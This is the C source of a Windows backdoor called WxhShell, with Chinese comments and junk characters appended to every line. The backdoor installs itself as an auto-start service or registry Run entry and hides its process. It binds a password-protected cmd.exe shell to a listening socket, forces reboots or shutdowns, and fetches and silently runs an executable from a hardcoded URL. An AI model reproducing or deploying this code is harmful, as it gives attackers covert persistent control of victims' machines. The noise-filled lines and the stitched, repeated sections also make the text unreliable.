    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \'}? j-8  
    if(Boot(SHUTDOWN)) z}sBx 9;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m~x O;_m  
    else { `VzjXJw  
    closesocket(wsh); 2dpTU=K4  
    ExitThread(0); O&( @Ka  
    } ~UhTy~jya  
    break; omEnIfQSO  
    } >qT4'1S*g  
  // 获取shell a{deN9Qn  
  case 's': { Gi9s*v,s  
    CmdShell(wsh); YlP8fxS  
    closesocket(wsh); :t#N.[=&#  
    ExitThread(0); N-Jp; D  
    break; <dAD-2O+  
  } A@I( &Z  
  // 退出 hCX_^%  
  case 'x': { pk&;5|cCD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FLE2]cL-  
    CloseIt(wsh); 0wlKBwf`J  
    break;  t R(Nko  
    } ( ;(DI^Un8  
  // 离开 dRXEF6G  
  case 'q': { FWJhi$\:D]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .dvOUt I[  
    closesocket(wsh); -%g&O-i\  
    WSACleanup(); L=1~)>mP  
    exit(1); |[lmW%  
    break; BA 9c-Ay  
        } Qe6'W  
  } vXP+*5d/ K  
  } y {PUkl q  
+YA,HhX9  
  // 提示信息 zP(UaSXz/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F4|Z:e,Hr  
} v.~uJ.T  
  } j$u=7Z&E  
[G=+f6 a  
  return; ^jiYcg@_[  
} E#L"*vh  
wP: w8O  
// shell模块句柄 rCTH 5"  
int CmdShell(SOCKET sock) l)^sE)  
{ 'Rg6JW\  
STARTUPINFO si; /l)|B  
ZeroMemory(&si,sizeof(si)); pm 4"Q!K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c%bGVRhE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (*CGZDg  
PROCESS_INFORMATION ProcessInfo; w.2[Xx~  
char cmdline[]="cmd"; %JsCw8C6?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MS~|F^g  
  return 0; %9qG|A,cA  
} F6$QEiDu@  
A3Lfh6O  
// 自身启动模式 e~+VN4D&b>  
int StartFromService(void) 8FmRD  
{ AzmISm  
typedef struct 9:\YEs"  
{ NGYUZ\m  
  DWORD ExitStatus; `]q>A']Dl  
  DWORD PebBaseAddress; hj_%'kk-A  
  DWORD AffinityMask; y`n'>F11  
  DWORD BasePriority; />EH]-|  
  ULONG UniqueProcessId; 1;Dug  
  ULONG InheritedFromUniqueProcessId; *NEA(9  
}   PROCESS_BASIC_INFORMATION; Zc<fopih  
0<{zW%w  
PROCNTQSIP NtQueryInformationProcess; `]0E)  
ox2?d<dC6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wACx}'+M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; av.L%l&d  
c@]_V  
  HANDLE             hProcess; sr*3uI-)L  
  PROCESS_BASIC_INFORMATION pbi; m/`"~@}&  
rphfW:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zxV,v*L)  
  if(NULL == hInst ) return 0; -q}c;0vL-a  
9PM\D@A{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :*`5|'G}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xaca=tsO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =(-oQ<@v  
@/w ($w"  
  if (!NtQueryInformationProcess) return 0; f'2Ufd|J|  
_W3>Km-A=/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -ST[!W V  
  if(!hProcess) return 0; Y5Ub[o  
c~0hu*&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &QoV(%:]  
~G;lEp  
  CloseHandle(hProcess); Rpi@^~aPE  
*_aeK~du.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x2KIGG ^  
if(hProcess==NULL) return 0; O$2'$44HX  
b\dzB\,&  
HMODULE hMod; etPb^&#$  
char procName[255]; }!W,/=z*  
unsigned long cbNeeded; J=*X%^jX9Z  
<H,q( :pM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^zv,VD  
.+'`A"$8  
  CloseHandle(hProcess); LWpM-eW1q  
/tu+L6  
if(strstr(procName,"services")) return 1; // 以服务启动 $GR 3tLzK:  
^F*G  
  return 0; // 注册表启动 h5x_Vjj  
} #:Tb(R   
T/A[C  
// 主模块 #})OnM^],  
int StartWxhshell(LPSTR lpCmdLine) M u>G gQSZ  
{ mo$`a6[h<  
  SOCKET wsl; |BO!q9633V  
BOOL val=TRUE; ]4$t'wI.  
  int port=0; !@r1B`]j+"  
  struct sockaddr_in door; 2}ttC m  
_aR_ [  
  if(wscfg.ws_autoins) Install(); exn Fy-  
^o*$OM7x  
port=atoi(lpCmdLine); C_&-2Z  
?(up!3S'x  
if(port<=0) port=wscfg.ws_port; ;Tn$c70  
+;H-0Q5  
  WSADATA data; G<S(P@ss  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RoG `U  
c']3N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~ .FZF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zB8 @Wl  
  door.sin_family = AF_INET; " ^t3VjN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u+&t"B  
  door.sin_port = htons(port); -UHa;W H  
}i"\?M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S#kA$yO  
closesocket(wsl); '`/Qr~]  
return 1; Vm_waa  
} U^ec g{  
M[C9P.O%w  
  if(listen(wsl,2) == INVALID_SOCKET) { E%?X-$a  
closesocket(wsl); @Qlh  
return 1; rYp]RX>  
} XtJ _po  
  Wxhshell(wsl); \fHtk _  
  WSACleanup(); l f<?k  
&L88e\ c+  
return 0; zNu>25/)(  
0#gu7n|J  
} 9L$bJO-3  
wRa$b  
// 以NT服务方式启动 YH0=Y mU#X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ot"3 3I  
{ E3):8>R;1  
DWORD   status = 0; N3_rqRd^  
  DWORD   specificError = 0xfffffff; ]dx6E6A,  
yJ\K\\]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *?'^R c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V<ZohB?y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K,!"5WrX*  
  serviceStatus.dwWin32ExitCode     = 0; W+F^(SC\  
  serviceStatus.dwServiceSpecificExitCode = 0; 9]{(~=D7  
  serviceStatus.dwCheckPoint       = 0; , ;'y <GA  
  serviceStatus.dwWaitHint       = 0; eQiK\iDS  
IfeCSK,x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -v '|#q  
  if (hServiceStatusHandle==0) return; $P9'"a)Lm  
yX^/Oc@j  
status = GetLastError(); Rh[%UNl  
  if (status!=NO_ERROR) _y,? Cj=u|  
{ s/;iZiWK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8f\sG:$  
    serviceStatus.dwCheckPoint       = 0; +A 4};]W|  
    serviceStatus.dwWaitHint       = 0; @w%{yzr%  
    serviceStatus.dwWin32ExitCode     = status; b,Z\{M:f;F  
    serviceStatus.dwServiceSpecificExitCode = specificError; Kzj9!'0R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gu3# y"a>  
    return; &YSjwRr  
  } (?G?9M#7_  
-3z$~ {  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |#y+iXTJ   
  serviceStatus.dwCheckPoint       = 0; z'FpP  
  serviceStatus.dwWaitHint       = 0; E{Tvjh+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _{eH" ,(  
} >uu ]K  
 Uz;z  
// 处理NT服务事件,比如:启动、停止 Wfw6(L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {Q%"{h']  
{ 8lI'[Y?3.  
switch(fdwControl) 3gUGfe di  
{ BI BBp=+  
case SERVICE_CONTROL_STOP: mbij& 0  
  serviceStatus.dwWin32ExitCode = 0; O|5Z-r0<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /nbHin#we  
  serviceStatus.dwCheckPoint   = 0; ^an3&  
  serviceStatus.dwWaitHint     = 0; Gkc.HFn(  
  { *dTI4k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o7qZy |\4S  
  } qs["&\@  
  return; TQor-Cymz  
case SERVICE_CONTROL_PAUSE: '@{'T LMCi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2feiD?0  
  break; 3M?vK(zG>P  
case SERVICE_CONTROL_CONTINUE: u_;&+o2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zKnHo:SV  
  break; U2lDTRt  
case SERVICE_CONTROL_INTERROGATE: vE}>PEfA  
  break; m(B,a,g<  
}; F$|Ec9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eJ=K*t|  
} /^m3?q[a  
_o'3v=5T  
// 标准应用程序主函数 yV'<l .N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hC nqe  
{ lZt{L0  
`8.Oc;*zu  
// 获取操作系统版本 2[O\"a%  
OsIsNt=GetOsVer(); &s+F+8"P+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B{In "R8  
&!adW@y  
  // 从命令行安装 fsA-}Qc  
  if(strpbrk(lpCmdLine,"iI")) Install(); f|U J%}$v;  
/5PV|o nO  
  // 下载执行文件 ~O;'],#Co  
if(wscfg.ws_downexe) { ^Hdru]A$2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &fIx2ZM[  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ah_T tj  
} " ,qcqG(  
)\!-n]+A  
if(!OsIsNt) { na%DF@Rt#  
// 如果时win9x,隐藏进程并且设置为注册表启动 !6yyX}%o  
HideProc(); 'ot,6@~x>  
StartWxhshell(lpCmdLine); ~ sC<V  
} viLK\>>  
else Ot^<:\< `G  
  if(StartFromService()) NV[_XXTv7  
  // 以服务方式启动 l6AG!8H  
  StartServiceCtrlDispatcher(DispatchTable); U&(TqRi,  
else uTX0lu;  
  // 普通方式启动 Nydhal00  
  StartWxhshell(lpCmdLine); &3o[^_Ti  
FtEmSKD  
return 0; 7jf%-X  
} DKvNQ:fI>9  
6G6B!x  
,.g9HO/R1  
ssWSY(j]  
=========================================== x}c%8dO#J  
F1q a`j^'  
G;'=#c ^  
_(TYR*  
SviGLv;oR  
#nzVgV]  
" g4`)n`  
<+/:}S4w)  
#include <stdio.h> /.Fvl;!J;  
#include <string.h> ,pg\5b  
#include <windows.h> Uc?4!{$X  
#include <winsock2.h> JyfWy  
#include <winsvc.h> d{gj8  
#include <urlmon.h> ~<)CI0=  
>_<J=8|E  
#pragma comment (lib, "Ws2_32.lib") OE"r=is  
#pragma comment (lib, "urlmon.lib") =VctG>ct|  
\0^ZNa?  
#define MAX_USER   100 // 最大客户端连接数 f:).wi Ld  
#define BUF_SOCK   200 // sock buffer Yw\7`  
#define KEY_BUFF   255 // 输入 buffer <21@jdu3n,  
4;_<CB  
#define REBOOT     0   // 重启 o|FY-+  
#define SHUTDOWN   1   // 关机 IhRYV`:  
-%h0`hOG{  
#define DEF_PORT   5000 // 监听端口 60A E~  
1\~-No  
#define REG_LEN     16   // 注册表键长度 E2 5:e EXa  
#define SVC_LEN     80   // NT服务名长度 RjOQSy3  
On^jHqLaE  
// 从dll定义API .2si[:_(p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  =Y0>b4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .ZB/!WiF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (t{m(;/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )Q!3p={S*  
*/kX|Sur  
// wxhshell配置信息 .&Vy o<9Ck  
struct WSCFG { Wb|xEwqd`  
  int ws_port;         // 监听端口 p{sbf;-x}  
  char ws_passstr[REG_LEN]; // 口令 W$l%= /  
  int ws_autoins;       // 安装标记, 1=yes 0=no hlgBx~S[  
  char ws_regname[REG_LEN]; // 注册表键名 |PI]v`[  
  char ws_svcname[REG_LEN]; // 服务名 z ]d^%>Ef  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }`SXUM_sD`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UB4M=R|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `!K!+`Z9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #4iiY6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e/h2E dY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?;//%c8,.  
TDMyZ!d  
}; WC?}a^ 8  
'A|OVyH  
// default Wxhshell configuration e2onR~Cf  
struct WSCFG wscfg={DEF_PORT, H"_]Hq  
    "xuhuanlingzhe", q*h1=H52  
    1, :=0XT`iY  
    "Wxhshell", nhUL{ER  
    "Wxhshell", ^J([w~&  
            "WxhShell Service", uAWmg8  
    "Wrsky Windows CmdShell Service", gEE6O%]g  
    "Please Input Your Password: ", CUS^j  
  1, z_jTR[dY  
  "http://www.wrsky.com/wxhshell.exe", kH)JBx.  
  "Wxhshell.exe" GmA5E  
    }; mp{r$tc  
iTt#%Fs)4M  
// 消息定义模块 e^Ds|}{V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r RfPq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u_5O<UP5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xyoh B#'W  
char *msg_ws_ext="\n\rExit."; Gob;dku  
char *msg_ws_end="\n\rQuit."; `$X|VAS2  
char *msg_ws_boot="\n\rReboot..."; 8@S5P$b};  
char *msg_ws_poff="\n\rShutdown..."; &SzLEbU!  
char *msg_ws_down="\n\rSave to "; 5&uS700  
C&\vVNV;9  
char *msg_ws_err="\n\rErr!"; D-/aS5wM  
char *msg_ws_ok="\n\rOK!"; OfR\8hAY  
e' `xU  
char ExeFile[MAX_PATH]; d^&F%)AT  
int nUser = 0; $S"QyAH~-a  
HANDLE handles[MAX_USER]; w(P\+ m<%  
int OsIsNt; f> u{e~Q,  
7Y8B \B)w  
SERVICE_STATUS       serviceStatus; owA0I'|V-A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a-`OE"  
.45XS>=z#  
// 函数声明 cI5*`LML1  
int Install(void); #&@qmps(T  
int Uninstall(void); :\0q\2e[<  
int DownloadFile(char *sURL, SOCKET wsh); .?TPoqs7Z  
int Boot(int flag); "dKYJ&$  
void HideProc(void); %Jrdr`<  
int GetOsVer(void); NMSpi[dr  
int Wxhshell(SOCKET wsl); UL/|!(s  
void TalkWithClient(void *cs); O\5*p=v  
int CmdShell(SOCKET sock); 3b_tK^|'  
int StartFromService(void); i w,F)O  
int StartWxhshell(LPSTR lpCmdLine); {(DD~~)D  
jU#/yM "Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); doCWJ   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kXj%thDx  
IZm_/  
// 数据结构和表定义 iwHy!Vi-5  
SERVICE_TABLE_ENTRY DispatchTable[] = s$ ONht  
{ /12D >OK  
{wscfg.ws_svcname, NTServiceMain}, I6]|dA3G  
{NULL, NULL} g5EdW=Dt,  
}; *>=vSRL0_  
/S]W< 8d  
// 自我安装 2u[:3K-@,  
int Install(void) "EoC7 1  
{ 62BJ;/ ]  
  char svExeFile[MAX_PATH]; }OeEv@^  
  HKEY key; dYg}qad5:  
  strcpy(svExeFile,ExeFile); @17hB h  
q2I;Ly\3o  
// 如果是win9x系统,修改注册表设为自启动 )P^5L<q>|  
if(!OsIsNt) { (8!#<$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iL-I#"qT,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7k<4/|CQ{  
  RegCloseKey(key); 6 ~b~[gA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )e)@_0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K8dlECy  
  RegCloseKey(key); ZCQ7xQD  
  return 0; Jmb [d\ /D  
    } q%4l!gzF3  
  } 4>4*4!KR}  
} v-85` h  
else { ILUA'T=B0  
VV(>e@Bc4  
// 如果是NT以上系统,安装为系统服务 9o.WJ   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (K$K;f$"r  
if (schSCManager!=0) GHHErXT\a  
{ J&{qe@^  
  SC_HANDLE schService = CreateService WgdL^PN(h  
  ( 9Z0(e!b4S  
  schSCManager, )x.}B4z  
  wscfg.ws_svcname, k_9tz}Z  
  wscfg.ws_svcdisp, p[(VhbN  
  SERVICE_ALL_ACCESS, Ejdw"P"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >G2o  
  SERVICE_AUTO_START, '3>kDH+  
  SERVICE_ERROR_NORMAL, +#5nk,1c>  
  svExeFile, j+3~  
  NULL, ]JX0:'x^  
  NULL, s,TKC67.%+  
  NULL, o~ .[sn5l-  
  NULL, W{Cc wq  
  NULL Q dKxuG  
  ); k]<  
  if (schService!=0) V1KWi ^  
  { P'#m1ntxQ  
  CloseServiceHandle(schService); fGiN`j} j  
  CloseServiceHandle(schSCManager); K!?T7/@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }DTpl?l  
  strcat(svExeFile,wscfg.ws_svcname); Y&xmy|O#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _=Y]ZX`j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t"`LJE._P  
  RegCloseKey(key); &nk6_{6 c  
  return 0; 6Q,-ZM=Z_p  
    } ND\&#  
  } P>=~\v nN#  
  CloseServiceHandle(schSCManager); =R#K` H66j  
} Q p7|p  
} cL&V2I5O  
Q5e ,[1  
return 1; %t0Fx  
} omM*h{z$$  
buo_H@@p{s  
// 自我卸载 rt%.IQdY  
int Uninstall(void) *b?C%a9  
{ :X[(ymWNE  
  HKEY key; KQ3]'2q  
FxSBxz<N-A  
if(!OsIsNt) { (Q !4\Gy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <@n/[ +3  
  RegDeleteValue(key,wscfg.ws_regname); cA"',N8!5  
  RegCloseKey(key); lTPo2-j/eK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 88}c+V+N!  
  RegDeleteValue(key,wscfg.ws_regname); o #{D;'  
  RegCloseKey(key); ;$@7iL  
  return 0; XM3N>OR.  
  } @.fuR#  
} e*uaxh+7  
} OiX>^_iDt  
else { euM7> $`  
$}<+~JpGfP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wJJ4F$"b  
if (schSCManager!=0) BQv+9(:fQB  
{ F\+wM*:U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s+>""yi  
  if (schService!=0) _`WbR&d2Id  
  { * B,D#;6  
  if(DeleteService(schService)!=0) { `G\uTCpk  
  CloseServiceHandle(schService); k oo`JHC  
  CloseServiceHandle(schSCManager); 3ik  
  return 0; )J8dm'wH92  
  } < vU<:S  
  CloseServiceHandle(schService); o|8 5<~`  
  } IC+Z C   
  CloseServiceHandle(schSCManager); l?~SH[V  
} D;)Tm|XizW  
} ^~(vP:  
K1Nhz'^=D  
return 1; &R/)#NAp  
} w4pU^&O  
I!.o& dk  
// 从指定url下载文件 & |u  
int DownloadFile(char *sURL, SOCKET wsh) 7]Y Le+Ds  
{ <3z]d?u  
  HRESULT hr; AJSe +1  
char seps[]= "/"; $78fR8|r-  
char *token; PJN TIa  
char *file; au2 ieZZ[  
char myURL[MAX_PATH]; ; A~S){  
char myFILE[MAX_PATH]; T%K(opISc(  
XJsHy_6  
strcpy(myURL,sURL); =)m2u2c M  
  token=strtok(myURL,seps); UiA\J  
  while(token!=NULL)  ~%_$e/T  
  { 9 )u*IGj  
    file=token; 6 k+FTDL  
  token=strtok(NULL,seps); CJk$o K{Q  
  } H r?G_L  
.&.j?kb  
GetCurrentDirectory(MAX_PATH,myFILE); E\#hcvP  
strcat(myFILE, "\\"); 4H8vB^  
strcat(myFILE, file); AD =@  
  send(wsh,myFILE,strlen(myFILE),0); xf<D5 olZ  
send(wsh,"...",3,0); < i*v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r#*kx#"  
  if(hr==S_OK) oabc=N!7r  
return 0; {bL6%._C  
else JPS22i)P  
return 1; q5?g/-_0[  
tYiK#N7  
} w"$CV@AJ  
R6] /g  
// 系统电源模块 %5RY Ea  
int Boot(int flag) Bv \ihUg/  
{ ,K .P,z~*  
  HANDLE hToken; Ojq>4=Z\  
  TOKEN_PRIVILEGES tkp; =2pGbD;*  
R_\{a*lV0  
  if(OsIsNt) { vb)Z&V6(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;rJR+wpNa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EP&iG%(k  
    tkp.PrivilegeCount = 1; KZzOs9 s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }rsD$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x)l}d3   
if(flag==REBOOT) { s;X"E =  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !!4_x  
  return 0; dON 4r2-yC  
} qI\qpWS\  
else { CE-ySIa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) br+{23&1R#  
  return 0; 'YQ"Lf  
} 4.7OX&L'G  
  } iU{bPyz ,  
  else { 7kO5hlKeo  
if(flag==REBOOT) { -}1S6dzr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;$l!mv 7  
  return 0; XP *pYN  
} Q^/66"Z:Z  
else { CFAz/x@%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aiGT!2  
  return 0; 2]C`S,)  
} m `~/]QQ  
} |/C>xunzz  
1.!rq,+>1  
return 1; AZz }  
} GrjL9+|x  
qlD+[`=b  
// win9x进程隐藏模块 ^RrufwUA  
void HideProc(void) OaRtGJnR  
{ 9d^o2Y o  
RS!~5nk5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2<)63[YO  
  if ( hKernel != NULL ) Fh9`8  
  { .,(bDXl?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "AP'' XNi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); He^+>XIam  
    FreeLibrary(hKernel); >/nS<y>  
  } VS@o_fUx)  
kX."|]  
return; E8J `7sa  
} +Tc<|-qQn  
@4Z>;  
// 获取操作系统版本 $Ll]h</Z  
int GetOsVer(void) e5maZ(.;F  
{ n c:^)G  
  OSVERSIONINFO winfo; 'W usEME  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sh[Yu  
  GetVersionEx(&winfo); \Xc6K!HJM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {EGiGwpf  
  return 1; %ribxgmd  
  else EMzJJe{Cv  
  return 0; p8hF`D~  
} %YG ~ql  
sy+1xnz  
// 客户端句柄模块 )(TaVHJR  
int Wxhshell(SOCKET wsl) ~?m';  
{ Yv }G"-=  
  SOCKET wsh; ZW}*]rg  
  struct sockaddr_in client; y_M<\b  
  DWORD myID; ]24aK_Uu  
g* F?  
  while(nUser<MAX_USER) U(]a(k<r  
{ ))cL+ r  
  int nSize=sizeof(client); 'A .c*<_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VlRN  
  if(wsh==INVALID_SOCKET) return 1; ;X-~C.7k  
FFb`4.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Enm#\(j  
if(handles[nUser]==0) //]g78]=O  
  closesocket(wsh); {ER! 0w/  
else S Y>i@s+ML  
  nUser++; xu(5U`K  
  } L0ig%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _HX 1E  
M 8a^yoZn  
  return 0; ]N_(M   
} f1(V~{N,+  
5p}Y6Lc\j  
// 关闭 socket wv<D%nF2|  
void CloseIt(SOCKET wsh) DZ5%-  
{ *T$o" *}  
closesocket(wsh); nx`!BNL'V  
nUser--; \{@s@VBx[  
ExitThread(0); /R^Moj<  
} j9u/R01d  
_7#Ng@#\  
// 客户端请求句柄 no`c[XY  
void TalkWithClient(void *cs) ty[bIaQi  
{ asb-syqU  
*,5V;7OR  
  SOCKET wsh=(SOCKET)cs; i`)bn 1Xm  
  char pwd[SVC_LEN]; eU 'DQp*  
  char cmd[KEY_BUFF]; `G&W%CHB  
char chr[1]; l-xKfp`  
int i,j; b|U&{I>TH  
 }tv%  
  while (nUser < MAX_USER) { *gfx'$  
W&ya_iP~C  
if(wscfg.ws_passstr) { !c[(#g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MKLntX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $, 4;_4t  
  //ZeroMemory(pwd,KEY_BUFF); =k6zUw;5 U  
      i=0; }Iz'#I Xx  
  while(i<SVC_LEN) { MO&QR-OY  
S`gUSYS"w  
  // 设置超时 r,X5@/  
  fd_set FdRead; z=:<]j#=  
  struct timeval TimeOut; 0gO<]]M?  
  FD_ZERO(&FdRead); 6Ae<W7  
  FD_SET(wsh,&FdRead); eBX#^  
  TimeOut.tv_sec=8; (iM"ug2  
  TimeOut.tv_usec=0; Q1 ?O~ao  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nl3 x BM%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y}*rRm.:  
2.CjjI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?9xaBWf  
  pwd=chr[0]; ?F]Yebp^  
  if(chr[0]==0xd || chr[0]==0xa) { $Nvt:X_  
  pwd=0; y E-H-r~I  
  break; Q1J./C}  
  } eWzD'3h^  
  i++; H7n5k,  
    } 6*cG>I.Z  
Fj}|uiOQUS  
  // 如果是非法用户,关闭 socket / 1 lIV_Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;SoKX?up5  
} }VxbO8\b(  
|@? B%sY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a3e<< <Z>R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |6w.m<p  
jjbBv~vs  
while(1) { &QO~p3M  
Ab`mID:  
  ZeroMemory(cmd,KEY_BUFF); O9*cV3}H  
ss63/   
      // 自动支持客户端 telnet标准   O 4@sN=o  
  j=0; hNs970i  
  while(j<KEY_BUFF) { >y)(M(o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ug02G  
  cmd[j]=chr[0]; e\x=4i  
  if(chr[0]==0xa || chr[0]==0xd) { <6^MVaD  
  cmd[j]=0; x'kwk  
  break; N p9N#m?  
  } >FED*C4  
  j++; ?#?[6t  
    } w='1uV<6  
ktLXL;~X  
  // 下载文件 LW6&^S?4{  
  if(strstr(cmd,"http://")) { =S/$h}Vi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); maQE Bi,  
  if(DownloadFile(cmd,wsh)) >yFEUD:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3"=% [  
  else 0jCYOl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vWY}+#  
  } Su`LBz"  
  else { U">J$M@  
lxoc.KDtR  
